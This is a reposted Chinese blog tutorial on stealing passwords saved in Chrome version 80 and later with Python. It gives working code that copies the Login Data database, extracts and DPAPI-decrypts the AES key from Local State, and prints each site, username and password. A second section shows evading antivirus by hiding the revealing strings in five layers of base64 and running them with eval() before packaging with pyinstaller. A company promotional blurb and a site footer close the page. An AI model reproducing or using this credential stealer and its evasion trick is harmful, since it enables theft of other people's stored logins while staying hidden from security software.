python获取V80版本以后chrome保存的密码及免杀

admin 2022年5月20日03:20:35评论200 views字数 3736阅读12分27秒阅读模式

1、访问Login Data文件

通过查阅,可以知道用户使用chrome保存的密码存放在当前用户的AppDataLocalGoogleChromeUser Datadefault路径下的Login Data文件里

python获取V80版本以后chrome保存的密码及免杀

将此文件复制出来,并作为数据库文件进行访问,读取里面的数据。Python代码如下:

login_db=os.environ['USERPROFILE']+os.sep+r'AppDataLocalGoogleChromeUserDatadefaultLoginData'shutil.copy(login_db,"mm.db")connect = sqlite3.connect("mm.db")lianjie = connect.cursor()


python获取V80版本以后chrome保存的密码及免杀

2、遍历logins表里数据

通过for循环取出该表中的所有网站、用户名、密码。Python代码如下:

lianjie.execute("SELECT action_url, username_value, password_value FROM logins")for r in lianjie.fetchall():    url = r[0]    username = r[1]    enco_pass = r[2]

3、解密password

取出之后,由于密码是通过aes加密,所以需要获取到密钥,密钥存放在当前用户的AppDataLocalGoogleChromeUser Data路径下的Local State文件里。

python获取V80版本以后chrome保存的密码及免杀

通过读取该文件,将密钥取出。Python代码如下:

key_file=open(os.environ['USERPROFILE'] + os.sep + r'AppDataLocalGoogleChromeUser DataLocal State', "r",encoding='utf-8')key = key_file.read()key = json.loads(key)key = base64.b64decode(key["os_crypt"]["encrypted_key"])key = key[5:]key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

然后取出加密的密码字段,与IV向量,然后通过aes进行解密出来。Python代码如下:

iv=enco_pass[3:15]password_value=enco_pass[15:]password_value=AES.new(key, AES.MODE_GCM, iv).decrypt(password_value)[:-16].decode()

4、输出结果

最后将url,username,password都进行输出,并且关闭上面读取数据库文件内容的连接,方便删除复制出来的数据库文件。Python代码如下:   

  print("url:"+url+"nusername:"+username+"npassword:"+password_value+"n"+"n")lianjie.close()connect.close()os.system("del mm.db")

执行起来看看效果!

python获取V80版本以后chrome保存的密码及免杀

5、免杀处理

虽然可以正常的执行起来,但是通过pyinstaller打包成exe后容易被杀软杀掉。

python获取V80版本以后chrome保存的密码及免杀
python获取V80版本以后chrome保存的密码及免杀

通过多次测试,被杀的特征应该为访问了Login Data与Local State这两个特征,于是对访问这两个文件的代码做加密,顺便将读取数据库文件中内容的代码也进行加密。这里我使用的加密方式为,做5次base64的加密。

加密前的语句:

1)os.environ['USERPROFILE'] + os.sep + r'AppDataLocalGoogleChromeUser DatadefaultLogin Data'2)lianjie.execute("SELECT action_url, username_value, password_value FROM logins")3)open(os.environ['USERPROFILE'] + os.sep + r'AppDataLocalGoogleChromeUser DataLocal State'"r",encoding='utf-8')

加密后的语句:

1)b'YidZaWRaYVdSYVlWZFNjRlJVUVhoTlZtUnpXWHBHVG1KVldscFZNalZoWVZkS1NWUnVWbGRpUm5CUVZXMTRWMk14Um5OVWJGWk9VbTVDVEZaclZsZFdiVXB6WVVaU1VsZEZjRXRWYm5CelRteFNTRTVWT1dsU01EVkZWVlpvUzFOc1RrWmlTRlpXVm0xb1JGcEVSa3RUUmtweFVXeHdWMkp0YUU5WFYzQkxWREpHU0ZOclpHeFNWMmh3VkZkd2MyUldiSEphUm1SYVRWVldOVmxWYUhOaFZURnhVbTVPV0ZKV2NGaGFWM2gzVjFaT1dGcEdUbE5OUm13elZqRmFZVTVIUlhoalJtaFlZbGRvY2xacVRtNWtNV1JHVm1wU2EySkhPVFZaYTJoWFUyeEtWMU50T1dGU1YxSkhXVzFzYWxCVFl6MG4n'2)b’YidZaWRaYVdSYVlWZFNZVlJVUm1GT1ZtdzJVMVJXYkZaWWFEQldiWEJUV1ZaWmQwNUlhR0ZTVjFKWFdXcENjMk14VW5KWGJGWlRWbXh3UmxadGRFOVJNa1pIWVROd1ZtSnJTbkJVVjNCWFlsWndSMkZGZEdwTlNHaEZWVmR3UjJGck1YTlhhbFphWWxSR1NGcEZXbmRXTURsVlUyeHdWMDB5WkRSV01uaFBUVEZ2ZVZScmFGTmlia0p4VkZSS1UwMXNhM2xOVms1aFlsWktNRlZ0TlU5aE1WbDRWbTAxVm1KWWFFeFdWVnBUVmtaR2RWUnRiRTVpVmtvelYxY3dNVlJ0Umxaa1JrcFJWa1JDZFVwM1BUMG4n’3)b’YidZaWRaYVdSYVlWZFNjRlJVUWt0ak1XeDBZa2M1YTJKVk5ERlViR1EwWVZkS2MyTklaRnBOYWtFeFdrWmFhMDVXY0VkWGJGcE9VbXh3VlZac1ZtRlRNVlpIVTI1S2FWSlVSbFJXVkVwVFlURk9WbFJ1Y0dGTmEydzJWa1pvVjJGck1YTlhhazVVVmxVMU5sZHFTazlqUm5CR1UyMXdWRkpWY0VkV01WcHZWVEpHUjJGRldteFRSbkJoVkZkMFlXVnNaRVpXYlhScllsVnNOVmRyYUU5WlZscDFZVVZXV2xaWGFFeGFSekZMVjBaYWRGUnNaRmhTVkZaNlYxUktjMUV4U2xkaVJteFdZbGRvV2xWc2FHOU5iR1JWVTJ0a2FrMUhlRWhXUjNCRFYyeGtSMU51VGxSaWJYZDZWMnBDYzJSV1RsaGlSVEZUVFZadmVGWXhVa3BPVjBWNVVteG9UMVo2VmxKV1ZFcFNaVVp3UmxwR2NHdFNWR3hGVjFST1FtSnBZejBuJw’

将加密好的语句通过5次base64解密,然后使用eval()函数执行。5次解密的python代码如下:

def base64decode(encodetext):    for i in range(5):        encodetext = eval(encodetext)        encodetext = base64.b64decode(encodetext)    return encodetext

通过该方法,做过处理后,再次使用pyinstaller打包好,可正常执行,放到杀软中,免杀效果如下。

python获取V80版本以后chrome保存的密码及免杀
python获取V80版本以后chrome保存的密码及免杀

python获取V80版本以后chrome保存的密码及免杀

       银天信息专注于软件研发、信息安全与智慧城市等领域的创新发展,是政府及企业数字化、智慧化建设的重要合作伙伴,银天信息立足”为社会服好务、为员工谋福祉”的社会责任,秉承“以技术为引领、以市场为导向、以用户为中心”的发展理念。

       自1996年成立以来,银天信息以产业前瞻研究和行业深度理解为双引擎,基于云计算、大数据、物联网、5G等先进技术形成了贯穿政府、企业数字化转型生命周期的“全栈式”产品及解决方案,包括IT战略咨询、规划、设计、实施、运营与商业模式创新等,为用户输出同步国际的智慧城市建设体系,实现IT云化和数据价值激活,提升整体核心竞争力。目前,已经与政府、教育、能源、金融、电信、医疗等行业客户开展深入的合作。

python获取V80版本以后chrome保存的密码及免杀

  编辑  | 蒋赟隆

  设计  | 周晶晶

  校对  | 田韵琦


python获取V80版本以后chrome保存的密码及免杀


原文始发于微信公众号(银天信息):python获取V80版本以后chrome保存的密码及免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月20日03:20:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python获取V80版本以后chrome保存的密码及免杀http://cn-sec.com/archives/1021348.html

发表评论

匿名网友 填写信息